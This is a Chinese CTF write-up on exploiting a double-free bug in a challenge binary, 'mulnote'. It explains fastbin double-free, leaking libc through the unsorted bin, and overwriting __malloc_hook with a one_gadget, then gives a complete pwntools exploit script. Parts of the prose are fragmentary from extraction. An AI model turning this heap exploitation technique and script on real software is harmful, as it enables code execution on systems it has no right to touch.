在free chunk时,程序将会以单向链表的形式存到fastbin
中(也就是fd指针链接下一个bins),当我们连续free一块chunk两次时,他的两个fd指针将会同时指向一个chunk,此时当我们再次使用malloc申请chunk时,根据fastbin中的fd指针的指引,便会获取到上一次free掉的堆块。而由于main_arena检查机制的原因,我们不能连续free掉一块chunk,但是可以是如下形式:
Free A
-> Free B
-> Free A
这样的话fd的指针将还是指向A这块chunk。
之后的话由于在fastbin中的chunk将会在该chunk数据区的0x10空间的位置上存放fd和bk指针,所以我们可以在连续free两次同一块chunk后,再次申请该地址在数据区的开头存放一个伪造的fd指针。此时还在fastbin中的B堆块的fd指针将会因为链表的原因而指向我们伪造的fd指针,最后在连续申请两次同样大小的chunk后,再次申请的地址将是我们伪造的fd指针内的地址,以此达成任意地址写的目的。
但是需要注意一点是:
假如我们要伪造一个chunk,使用任意地址写来将onegadget写到malloc_hook上时,由于malloc对chunk的检查机制如果不加以控制会导致程序异常直接退出,这时则可以通过覆盖掉main_arena-88-0x33
->_IO_wide_data_0
到main_arena-88-0x10
->malloc_hook
之间的空间,使ong_gadget直接落在malloc_hook
上。这样当我们再次使用malloc申请chunk时,便能触发malloc_hook上的one_gadget而不会导致程序异常退出了。
当我们伪造一个fd指针为某个函数的got表地址后,再次malloc申请一个空间就是落在该got表地址上,此时再用程序中应有的打印功能查看接受即可(或者可能要再-0x10才能接收到该地址,因为打印出的内容应该会从chunk中的用户数据区开始读的)、
当free掉的chunk超过0x80
大小时,将被放在unsortedbin
中,而如果只有一个bin的话,此时的fd和bk指针将指向main_arena+88的位置。也就是说此时如果在申请一个堆块的话,将会被分配至
而利用这个main_arena
的地址,我们可以泄露libc基地址,可以计算出malloc_hook
、_IO_wide_data_0
等地址。
如:
main_arena-88
=main_arena
地址
main_arena-88-0x10
=malloc_hook
地址d
main_arena-88-0x10-0x13
=_IO_wide_data_0
地址x
0x80
\x00
进行截断checksec后可以看到只有栈保护未开启。也就是说我们无法直接劫持got表
使用IDA打开分析反汇编代码,代码虽然加了混淆,不过在start_routine
过程中还是可以看到他是在free后10秒后财经性的指针清零,也就是出现了doublefree
的漏洞。
而在malloc时申请的大小则又不能超过0x10000
,也就是说我们无法再利用mmap申请大内存来获取libc地址
unsorted bins
来泄露main_arena
的地址从而泄露libc
malloc_hook
、_IO_wide_data_0
、one_gadget
等地址
#coding:utf-8
from pwn import *
from one_gadget import generate_one_gadget
context.terminal = ["tmux","splitw","-h"]
context.log_level = "debug"
sh = process("./mulnote")
elf = ELF("./mulnote")
libc = "/lib/x86_64-linux-gnu/libc.so.6"
def create(size,note):
sh.recvuntil(">")
sh.sendline("C")
sh.recvuntil("size>")
sh.sendline(size)
sh.recvuntil("note>")
sh.send(note)
def edit(idx,note):
sh.recvuntil(">")
sh.sendline("E")
sh.recvuntil("index>")
sh.sendline(idx)
sh.recvuntil("new note>")
sh.sendline(note)
def remove(idx):
sh.recvuntil(">")
sh.sendline("R")
sh.recvuntil("index>")
sh.sendline(idx)
def show():
sh.recvuntil(">")
sh.sendline("S")
def one_gadget(libc_addr):
path_to_libc=libc_addr
gadget =[]
for offset in generate_one_gadget(path_to_libc):
gadget.append(int(offset))
return gadget
### 利用unsorted_bin的特性当申请超过0x80的chunk时,将泄露main_arena+0x88的地址
create("128","aaaa")
remove("0")
#gdb.attach(sh)
show()
sh.recvuntil("note[0]:\n")
main_arena = u64(sh.recvuntil("\x7f").ljust(8,"\x00"))
success("main_arna => 0x%x",main_arena)
#gdb.attach(sh)
libc_base = main_arena - 3951480 #main_arena+88 距离libc基地址的偏移
success("main_arna => 0x%x",libc_base)
malloc_hook = main_arena -88-0x10
fake_chunk = main_arena-88-0x33
#必须要从_IO_wide_data_0上开始填充,才可以绕过对chunk的检查,也就是从_IO_wide_data_0填充至malloc_hook的位置
one_gg = one_gadget(libc)[0]+libc_base
success("one_gg => 0x%x",one_gg)
### Double free利用
create("96","aaaa")
create("96","aaaa")
remove("1")
remove("2")
remove("1")
create("96",p64(fake_chunk))
create("96",'bbbb')
create("96","cccc")
create("96",'d'*19+p64(one_gg))
#_IO_wide_data_0+0x13的位置便是malloc_hook
gdb.attach(sh)
sh.recvuntil(">")
sh.sendline("C")
sh.recvuntil("size>")
sh.sendline("over")
# show()
sh.interactive()
https://ctf-wiki.github.io/ctf-wiki/pwn/linux/glibc-heap/fastbin_attack-zh/ https://zhuanlan.zhihu.com/p/64434547 https://xz.aliyun.com/t/6355#toc-13